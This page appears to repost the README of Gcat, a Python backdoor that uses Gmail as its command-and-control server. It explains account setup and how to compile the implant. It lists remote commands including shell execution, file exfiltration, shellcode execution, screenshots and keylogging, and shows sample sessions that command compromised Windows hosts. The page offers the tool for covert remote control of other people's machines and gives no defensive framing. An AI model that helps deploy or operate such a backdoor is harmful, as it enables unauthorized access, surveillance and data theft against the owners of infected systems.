Gcat is a stealthy Python based backdoor that uses Gmail as a command and control server. This project was inspired by the original PoC code from Benjamin Donnelly.

Also Read Sylkie – IPv6 Address Spoofing With The Neighbor Discovery Protocol

Setup Gcat

For this to work you need:

  • A Gmail account (Use a dedicated account! Do not use your personal one!)
  • Turn on “Allow less secure apps” under the security settings of the account
  • You may also have to enable IMAP in the account settings

This repo contains two files:

  • gcat.py a script that’s used to enumerate and issue commands to available clients
  • implant.py the actual backdoor to deploy

In both files, edit the gmail_user and gmail_pwd variables with the username and password of the account you previously setup.

You’re probably going to want to compile implant.py into an executable using Pyinstaller.

Note: It’s recommended you compile implant.py using a 32bit Python installation

Usage

optional arguments:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  -id ID                Client to target
  -jobid JOBID          Job id to retrieve

  -list                 List available clients
  -info                 Retrieve info on specified client

Commands to execute on an implant

  -cmd CMD              Execute a system command
  -download PATH        Download a file from a clients system
  -upload SRC DST       Upload a file to the clients system
  -exec-shellcode FILE  Execute supplied shellcode on a client
  -screenshot           Take a screenshot
  -lock-screen          Lock the clients screen
  -force-checkin        Force a check in
  -start-keylogger      Start keylogger
  -stop-keylogger       Stop keylogger
  • Once you’ve deployed the backdoor on a couple of systems, you can check available clients using the list command:
#~ python gcat.py -list
f964f907-dfcb-52ec-a993-543f6efc9e13 Windows-8-6.2.9200-x86
90b2cd83-cb36-52de-84ee-99db6ff41a11 Windows-XP-5.1.2600-SP3-x86

The output is a UUID string that uniquely identifies the system and the OS the implant is running on

  • Let’s issue a command to an implant:
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -cmd 'ipconfig /all'
[*] Command sent successfully with jobid: SH3C4gv

Here we are telling 90b2cd83-cb36-52de-84ee-99db6ff41a11 to execute ipconfig /all, the script then outputs the jobid that we can use to retrieve the output of that command

  • Lets get the results!
#~ python gcat.py -id 90b2cd83-cb36-52de-84ee-99db6ff41a11 -jobid SH3C4gv     
DATE: 'Tue, 09 Jun 2015 06:51:44 -0700 (PDT)'
JOBID: SH3C4gv
FG WINDOW: 'Command Prompt - C:\Python27\python.exe implant.py'
CMD: 'ipconfig /all'
Windows IP Configuration

        Host Name . . . . . . . . . . . . : unknown-2d44b52
        Primary Dns Suffix  . . . . . . . : 
        Node Type . . . . . . . . . . . . : Unknown
        IP Routing Enabled. . . . . . . . : No
        WINS Proxy Enabled. . . . . . . . : No

-- SNIP --
  • That’s the gist of it! But you can do much more as you can see from the usage of the script!

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